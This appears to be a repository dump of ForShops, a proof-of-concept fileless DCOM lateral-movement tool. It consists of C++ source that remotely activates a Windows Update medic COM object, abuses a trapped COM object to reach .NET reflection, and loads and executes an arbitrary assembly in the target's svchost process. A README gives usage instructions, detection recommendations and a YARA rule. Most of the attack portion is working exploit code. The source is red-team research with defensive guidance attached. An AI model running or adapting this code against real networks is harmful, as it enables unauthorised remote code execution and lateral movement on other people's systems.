https://github.com/tyranid/IE11SandboxEscapes/blob/master/CVE-2014-0257/CVE-2014-0257.cpp 766 | */ 767 | template T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector& args, HRESULT* o_hr = NULL) 768 | { 769 | variant_t obj; 770 | T retObj; 771 | 772 | SAFEARRAY* psa; 773 | SAFEARRAYBOUND rgsabound[1]; 774 | 775 | rgsabound[0].lLbound = 0; 776 | rgsabound[0].cElements = (ULONG)args.size(); 777 | psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound); 778 | 779 | for (LONG i = 0; i < (LONG)args.size(); ++i) 780 | { 781 | SafeArrayPutElement(psa, &i, &args[i]); 782 | } 783 | 784 | VARIANT vtRet; 785 | VariantInit(&vtRet); 786 | HRESULT hr = method->Invoke_3(obj, psa, &vtRet); // Fixed: Added vtRet parameter to match CLR v4 signature 787 | 788 | printf("Invoke_3: 0x%x\n", hr); 789 | if ((vtRet.vt == VT_UNKNOWN) || (vtRet.vt == VT_DISPATCH)) 790 | { 791 | retObj = vtRet.punkVal; 792 | } 793 | 794 | VariantClear(&vtRet); 795 | SafeArrayDestroy(psa); 796 | 797 | if (o_hr) { 798 | *o_hr = hr; 799 | } 800 | return retObj; 801 | } 802 | 803 | // Main code base for performing lat mvmt 804 | BOOLEAN ExecuteForShops(LPSTR target, LPSTR assemblyPath) { 805 | _com_ptr_t<_com_IIID> pTypeLib; 806 | _com_ptr_t<_com_IIID> pTypeLib2; 807 | _com_ptr_t<_com_IIID> pTypeInfo; 808 | _com_ptr_t<_com_IIID> pTypeInfo2; 809 | _com_ptr_t<_com_IIID> pTypeInfo3; 810 | mscorlib::_ObjectPtr obj; 811 | mscorlib::_TypePtr type; 812 | mscorlib::_TypePtr type2; 813 | mscorlib::_TypePtr type3; 814 | mscorlib::_TypePtr baseType; 815 | mscorlib::_MethodInfoPtr getTypeMethod; 816 | mscorlib::_MethodInfoPtr loadMethod; 817 | HREFTYPE hRef = NULL; 818 | 819 | try 820 | { 821 | std::wcout << L"[*] Initializing COM environment..." << std::endl; 822 | HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED); 823 | if (FAILED(hr)) throw hr; 824 | 825 | ////////////////////////////// 826 | CLSID clsid; 827 | IID iid; 828 | IDispatch* pDispatch = nullptr; 829 | hr = CLSIDFromString(L"{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}", &clsid); // WaaSRemediation 830 | if (FAILED(hr)) { 831 | std::cout << "Invalid CLSID" << std::endl; 832 | CoUninitialize(); 833 | return 1; 834 | } 835 | hr = CLSIDFromString(L"{34050212-8AEB-416D-AB76-1E45521DB615}", &iid); // IWaaSRemediation idk i picked randomly. but {B4C1D279-966E-44E9-A9C5-CCAF4A77023D} (IWaaSRemediationEx) works too 836 | if (FAILED(hr)) { 837 | std::cout << "Invalid CLSID" << std::endl; 838 | CoUninitialize(); 839 | return 1; 840 | } 841 | 842 | // Set up the COSERVERINFO structure 843 | WCHAR wTarget[255] = { 0 }; 844 | CharStringToWCharString(wTarget, target, strlen(target)); 845 | COSERVERINFO serverInfo = { 0 }; 846 | serverInfo.pwszName = wTarget; 847 | 848 | // Set up MULTI_QI structure 849 | MULTI_QI multiQI; 850 | multiQI.pIID = &IID_IDispatch; 851 | multiQI.pItf = nullptr; 852 | multiQI.hr = S_OK; 853 | 854 | // Use CoCreateInstanceEx for remote activation 855 | hr = CoCreateInstanceEx(clsid, nullptr, CLSCTX_REMOTE_SERVER, &serverInfo, 1, &multiQI); 856 | if (FAILED(hr)) throw hr; 857 | 858 | pDispatch = (IDispatch*)multiQI.pItf; 859 | hr = pDispatch->GetTypeInfo(0, NULL, &pTypeInfo); 860 | if (SUCCEEDED(hr)) 861 | { 862 | ////////////////////////////// 863 | hr = pTypeInfo->GetContainingTypeLib(&pTypeLib, 0); 864 | hr = pTypeLib->GetTypeInfoOfGuid(iid, &pTypeInfo); // $ti = $lib.GetTypeInfoOfGuid($iid) 865 | 866 | hr = pTypeInfo->GetRefTypeOfImplType(0, &hRef); // $href = $ti.GetRefTypeOfImplType(0) 867 | hr = pTypeInfo->GetRefTypeInfo(hRef, &pTypeInfo2); // $base = $ti.GetRefTypeInfo($href) 868 | hr = pTypeInfo2->GetContainingTypeLib(&pTypeLib2, 0); // $stdole = $base.GetContainingTypeLib() 869 | hr = pTypeLib2->GetTypeInfoOfGuid(CLSID_StdFont, &pTypeInfo3); // $ti = $stdole.GetTypeInfoOfGuid("0be35203-8f91-11ce-9de3-00aa004bb851") 870 | hr = pTypeInfo3->CreateInstance(nullptr, IID_IObject, (void**)&obj); // $font = $ti.CreateInstance() 871 | ////////////////////////////// 872 | 873 | std::wcout << L"[+] Successfully got StdFont TypeInfo" << std::endl; 874 | if (SUCCEEDED(hr)) 875 | { 876 | hr = obj->GetType(&type); 877 | BSTR b = SysAllocStringByteLen(NULL, 255); 878 | hr = type->get_ToString(&b); 879 | hr = type->GetType(&type2); 880 | hr = type2->get_BaseType(&baseType); 881 | hr = baseType->get_BaseType(&type3); 882 | 883 | getTypeMethod = GetStaticMethod(type3, L"GetType", 1); 884 | printf("[*] GetTypeMethod Address: %p\n", (void*)getTypeMethod.GetInterfacePtr()); 885 | 886 | std::vector getTypeArgs; 887 | getTypeArgs.push_back(L"System.Reflection.Assembly, mscorlib"); 888 | 889 | type = ExecuteMethod(getTypeMethod, getTypeArgs); 890 | 891 | if (type) 892 | { 893 | printf("[+] Got Assembly type\n"); 894 | loadMethod = GetStaticMethod(type, L"Load", 1); 895 | if (loadMethod) 896 | { 897 | printf("[+] Got Load method\n"); 898 | 899 | ////////////////////////////// 900 | SIZE_T size = 0; 901 | PBYTE bytes = readFileToBytes(assemblyPath, &size); 902 | 903 | variant_t obj = { 0 }; 904 | 905 | // Parent array -- object[] {} 906 | SAFEARRAY* psa; 907 | SAFEARRAYBOUND rgsabound[1]; 908 | rgsabound[0].lLbound = 0; 909 | rgsabound[0].cElements = 1; 910 | psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound); 911 | 912 | // Byte array -- byte[] {} 913 | SAFEARRAY* _psa; 914 | SAFEARRAYBOUND _rgsabound[1]; 915 | _rgsabound[0].lLbound = 0; 916 | _rgsabound[0].cElements = size; 917 | _psa = SafeArrayCreate(VT_UI1, 1, _rgsabound); 918 | PVOID pvData = NULL; 919 | hr = SafeArrayAccessData(_psa, &pvData); 920 | memcpy(pvData, bytes, size); 921 | hr = SafeArrayUnaccessData(_psa); 922 | pvData = NULL; 923 | 924 | // Fill in the parent array -- object[] { byte[] {} } 925 | LONG index = 0; 926 | VARIANT var; 927 | VariantInit(&var); 928 | var.vt = VT_ARRAY | VT_UI1; 929 | var.parray = _psa; 930 | SafeArrayPutElement(psa, &index, &var); 931 | 932 | // Pass it in 933 | VARIANT vtRet; 934 | VariantInit(&vtRet); 935 | hr = loadMethod->Invoke_3(obj, psa, &vtRet); // Fixed: Added vtRet parameter to match CLR v4 signature 936 | printf("Load -- Invoke_3: 0x%x, ret:0x%x\n", hr, vtRet.punkVal); 937 | mscorlib::_AssemblyPtr result = vtRet.punkVal; 938 | VariantClear(&var); 939 | VariantClear(&vtRet); 940 | SafeArrayDestroy(psa); 941 | 942 | //////////////////////////////// 943 | 944 | if (result) 945 | { 946 | printf("[+] Assembly loaded successfully\n"); 947 | 948 | // Get EntryPoint 949 | mscorlib::_MethodInfoPtr entryPoint; 950 | hr = ((mscorlib::_AssemblyPtr)result)->get_EntryPoint(&entryPoint); 951 | if (SUCCEEDED(hr) && entryPoint) 952 | { 953 | printf("[+] Got entry point\n"); 954 | 955 | // Create string[] args for Main 956 | SAFEARRAYBOUND bounds = { 1, 0 }; // Array of size 1 957 | SAFEARRAY* psaStrings = SafeArrayCreate(VT_BSTR, 1, &bounds); 958 | if (psaStrings) 959 | { 960 | // Add your string argument 961 | LONG index = 0; 962 | BSTR arg = SysAllocString(L""); 963 | hr = SafeArrayPutElement(psaStrings, &index, arg); 964 | SysFreeString(arg); 965 | 966 | // Create variant to hold string array 967 | VARIANT vArgs; 968 | VariantInit(&vArgs); 969 | V_VT(&vArgs) = VT_ARRAY | VT_BSTR; 970 | V_ARRAY(&vArgs) = psaStrings; 971 | 972 | // Create args vector with our string array 973 | std::vector mainArgs; 974 | mainArgs.push_back(vArgs); 975 | 976 | printf("[*] Invoking Main with args...\n"); 977 | variant_t mainResult = ExecuteMethod(entryPoint, mainArgs, &hr); 978 | printf("[+] Main executed successfully\n"); 979 | 980 | // Cleanup 981 | SafeArrayDestroy(psaStrings); 982 | } 983 | } 984 | else 985 | { 986 | printf("[-] Failed to get entry point: 0x%08lX\n", hr); 987 | } 988 | } 989 | else 990 | { 991 | printf("[-] Load failed: 0x%x\n", result); 992 | } 993 | } 994 | } 995 | } 996 | } 997 | 998 | if (og.AllowDCOMReflection) free(og.AllowDCOMReflection); 999 | if (og.OnlyUseLatestCLR) free(og.OnlyUseLatestCLR); 1000 | if (og.StandardFontTreatAs) free(og.StandardFontTreatAs); 1001 | 1002 | // Clear all COM pointers 1003 | loadMethod = nullptr; 1004 | getTypeMethod = nullptr; 1005 | baseType = nullptr; 1006 | type = nullptr; 1007 | obj = nullptr; 1008 | pTypeInfo = nullptr; 1009 | pTypeLib = nullptr; 1010 | 1011 | CoUninitialize(); 1012 | 1013 | return 0; 1014 | } 1015 | catch (HRESULT hr) 1016 | { 1017 | printf("[-] COM error occurred: 0x%08lX\n", hr); 1018 | return 1; 1019 | } 1020 | catch (...) 1021 | { 1022 | printf("[-] Unknown error occurred\n"); 1023 | return 1; 1024 | } 1025 | } 1026 | int main(INT argc, PCHAR argv[]) 1027 | { 1028 | if (argc != 3) { 1029 | printf("Usage: forshops.exe [target] [c:\\path\\to\\assembly\\to\\load] \n"); 1030 | return 1; 1031 | } 1032 | 1033 | LPSTR target = argv[1]; 1034 | LPSTR assemblyPath = argv[2]; 1035 | ACL_INFO sids = { 0 }; 1036 | EnableRemoteRegistry = TRUE; 1037 | og = { 0 }; 1038 | 1039 | // Get SIDs 1040 | SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY; 1041 | PSID adminSid = NULL; 1042 | PSID trustedInstallerSid = NULL; 1043 | 1044 | if (!AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminSid)) 1045 | { 1046 | printf("[-] AllocateAndInitializeSid() failed for Administrators: %d\n", GetLastError()); 1047 | return 1; 1048 | } 1049 | 1050 | if (!AllocateAndInitializeSid(&ntAuthority, SECURITY_SERVICE_ID_RID_COUNT, SECURITY_SERVICE_ID_BASE_RID, 1051 | SECURITY_TRUSTED_INSTALLER_RID1, SECURITY_TRUSTED_INSTALLER_RID2, 1052 | SECURITY_TRUSTED_INSTALLER_RID3, SECURITY_TRUSTED_INSTALLER_RID4, 1053 | SECURITY_TRUSTED_INSTALLER_RID5, 0, 0, &trustedInstallerSid)) 1054 | { 1055 | printf("[-] AllocateAndInitializeSid() failed for TrustedInstaller: %d\n", GetLastError()); 1056 | return 1; 1057 | } 1058 | sids.AdminSid = adminSid; 1059 | sids.NtAuthority = &ntAuthority; 1060 | sids.TrustedInstallerSid = trustedInstallerSid; 1061 | 1062 | // Execute ForShops 1063 | if (DoRegistry_RPC(target, FALSE, &sids)) { 1064 | return 1; 1065 | } 1066 | 1067 | ExecuteForShops(target, assemblyPath); 1068 | 1069 | if (DoRegistry_RPC(target, TRUE, &sids)) { 1070 | return 1; 1071 | } 1072 | } 1073 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ForShops 2 | A proof-of-concept fileless DCOM Lateral Movement technique using trapped COM objects 3 | 4 | ## Description 5 | 6 | This project contains C++ source code for reflectively loading and executing a .NET assembly in a remote computer's WaaS Medic Service svchost.exe process for DCOM lateral movement. 7 | 8 | The technique abuses the trapped COM object bug class originally discovered by [James Forshaw](https://x.com/tiraniddo) of Google Project Zero. 9 | 10 | For detailed information, please see the accompanying Security Intelligence blog [post](https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects) by [Dylan Tran](https://x.com/d_tranman) and [Jimmy Bayne](https://x.com/bohops) of IBM X-Force Red. 11 | 12 | ## Usage 13 | 14 | - Compile with Visual Studio 15 | - Run with the following command under a privileged context: 16 | ``` 17 | forshops.exe [target machine] [c:\\path\\to\\assembly\\to\\load] 18 | ``` 19 | 20 | ## Defensive Recommendations 21 | 22 | The [detection guidance](https://x.com/SBousseaden/status/1896527307130724759) proposed by [Samir Bousseaden](https://x.com/SBousseaden) is applicable for this lateral movement technique: 23 | - Detecting CLR load events within the svchost.exe process of WaaSMedicSvc 24 | - Detecting Registry manipulation (or creation) of the following key: HKLM\SOFTWARE\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\TreatAs (TreatAs key of StandardFont CLSID) 25 | 26 | We also recommend implementing the following additional controls: 27 | - Detecting DACL manipulation of HKLM\SOFTWARE\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851} 28 | - Hunting for the presence of enabled OnlyUseLatestCLR and AllowDCOMReflection values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework 29 | - Enabling the host-based firewall to restrict DCOM ephemeral port access where possible 30 | 31 | Use the following proof-of-concept YARA rule to detect the standard ForsHops.exe executable: 32 | ``` 33 | rule Detect_Standard_ForsHops_PE_By_Hash 34 | { 35 | meta: 36 | description = "Detects the standard ForShops PE file by strings" 37 | reference = "GitHub Project: https://github.com/xforcered/ForsHops/" 38 | strings: 39 | $s1 = "System.Reflection.Assembly, mscorlib" wide 40 | $s2 = "{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}" wide 41 | $s3 = "{34050212-8AEB-416D-AB76-1E45521DB615}" wide 42 | $s4 = "GetType" wide 43 | $s5 = "Load" wide 44 | condition: 45 | all of them 46 | } 47 | ``` 48 | 49 | ## References 50 | 51 | - [Windows Bug Class: Accessing Trapped COM Objects with IDispatch](https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html) by James Forshaw 52 | - [IE11SandboxEscapes Project](https://github.com/tyranid/IE11SandboxEscapes) by James Forshaw 53 | 54 | ## License 55 | This project is licensed under the **GNU General Public License v3.0**. 56 | See the [LICENSE](LICENSE) file for details. 57 | 58 | This project includes code from [IE11SandboxEscapes](https://github.com/tyranid/IE11SandboxEscapes) by James Forshaw, 59 | licensed under GNU General Public License v3.0. See the project [license](https://github.com/tyranid/IE11SandboxEscapes/blob/master/LICENSE) for details. 60 | --------------------------------------------------------------------------------